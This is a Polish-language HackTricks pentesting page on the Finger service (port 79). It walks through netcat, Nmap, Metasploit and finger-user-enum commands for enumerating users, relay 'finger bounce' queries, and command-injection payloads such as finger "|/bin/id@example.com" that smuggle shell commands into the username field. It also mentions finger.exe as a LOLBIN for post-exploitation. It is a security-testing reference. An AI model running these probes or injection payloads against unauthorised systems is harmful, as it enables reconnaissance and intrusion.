79 - Pentesting Finger
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Program/usługa Finger służy do pobierania informacji o użytkownikach systemu. Zazwyczaj udostępniane informacje obejmują nazwę logowania użytkownika, pełne imię i nazwisko, a w niektórych przypadkach dodatkowe szczegóły. Mogą to być lokalizacja biura i numer telefonu (jeśli dostępne), czas zalogowania użytkownika, okres nieaktywności (idle time), ostatni moment odczytania poczty przez użytkownika oraz zawartość plików użytkownika .plan i .project.
Z perspektywy pentesting, Finger nadal jest interesujący, ponieważ protokół jest wyjątkowo mały, czytelny dla człowieka, i często implementowany z przestarzałą logiką parsowania. Demon może ujawnić:
- aktualnie zalogowanych użytkowników
- pełne imiona i nazwiska / dane GECOS
- katalogi domowe, powłoki (shells), czasy ostatniego logowania oraz TTY
- zawartość
.plan/.project - zachowanie relay umożliwiające zapytanie drugiego hosta przez pierwszy
Domyślny port: 79
PORT STATE SERVICE
79/tcp open finger
Enumeration
Banner Grabbing/Podstawowe połączenie
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79 # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79 # Long format, if the daemon supports it
Protokół to ASCII over TCP/79, zwykle zakończony CRLF, a server closes the TCP connection po odpowiedzi. W praktyce puste zapytanie (\r\n) często wystarcza, aby pobrać aktualną listę użytkowników, co jest także tym, co robi domyślny skrypt NSE finger Nmap.
User enumeration
finger @<Victim> #List users
finger admin@<Victim> #Get info of user
finger user@<Victim> #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients
Alternatywnie możesz użyć finger-user-enum z pentestmonkey, kilka przykładów:
finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
Ważnym niuansem przy Finger enumeration jest to, że nie ma sztywnego formatu odpowiedzi w różnych daemonach. Narzędzia takie jak finger-user-enum dobrze działają przeciwko usługom w stylu Solaris, ponieważ poprawni i błędni użytkownicy generują różne układy tekstu, ale może być konieczne ręczne porównanie pozytywnych i negatywnych odpowiedzi i dostosowanie regexes, jeśli docelowy daemon jest nietypowy.
Przydatne sondy, gdy daemon nie zachowuje się jak stock Solaris/BSD:
# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79
# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79
# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79
Nmap: uruchomienie skryptu przy użyciu default scripts
nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>
Nmap’s finger NSE script is bezpieczny i po prostu wysyła null query, aby odzyskać aktualną listę użytkowników. Jeśli chcesz szerszego username guessing wobec permissive daemons, rozważ rozszerzenie podejścia o custom wordlists lub użycie projektów takich jak fat-finger.nse, które wysyłają wiele prawdopodobnych nazw kont w jednym żądaniu i szukają dopasowań username/GECOS.
Metasploit używa więcej sztuczek niż Nmap
use auxiliary/scanner/finger/finger_users
Shodan
port:79 USER
Wykonywanie poleceń
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
RFC 1288 wyraźnie pozwala implementacjom na uruchomienie programu kontrolowanego przez użytkownika w odpowiedzi na zapytanie Finger, stąd pochodzi klasyczne nadużycie |/bin/.... Dziś jest to rzadkie, ale jeśli znajdziesz niestandardowy lub przestarzały daemon, testuj ostrożnie pod kątem:
- metaznaki shell w obsłudze nazwy użytkownika
- wykonywanie
|programw hookach planu/projektu - wrappery backendu, które przekazują nazwę użytkownika do skryptu shell lub CGI
Pamiętaj też o ścieżce nadużyć client-side na Windows: finger.exe jest podpisanym LOLBIN, który może pobrać dowolny tekst z zdalnego serwera Finger przez TCP/79, a następnie przekierować ten output do innego procesu. Ta technika jest bardziej istotna w kontekście post-exploitation niż service enumeration, więc zobacz the Linux reverse-shell page dla pomysłu transportu shell i miej to na uwadze podczas emulacji attacker tradecraft.
Finger Bounce
Use a system as a finger relay
finger user@host@victim
finger @internal@external
To nie tylko dziwactwo implementacyjne: RFC 1288 definiuje rekursywne @hostname forwarding ({Q2} zapytań). Jeśli daemon obsługuje relaying, serwer pośredniczący otwiera drugie połączenie Finger za Ciebie i zwraca odpowiedź przez oryginalne gniazdo. To oznacza:
- Twój host może nie łączyć się bezpośrednio z docelowym hostem
- relay może być użyty do enumeracji użytkowników wewnętrznych z wystawionej usługi Finger
finger-user-enumobsługuje to natywnie z-r <relay>
Przykład:
# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79
# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
Jeśli przekazywanie działa, użyj go jako wewnętrznego prymitywu rozpoznawczego i porównaj przekazany wynik z bezpośrednim wynikiem demona publicznego. Różne formatowanie lub filtrowanie często ujawnia, czy ścieżka przekazu jest obsługiwana przez oddzielny backend lub wrapper.
References
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


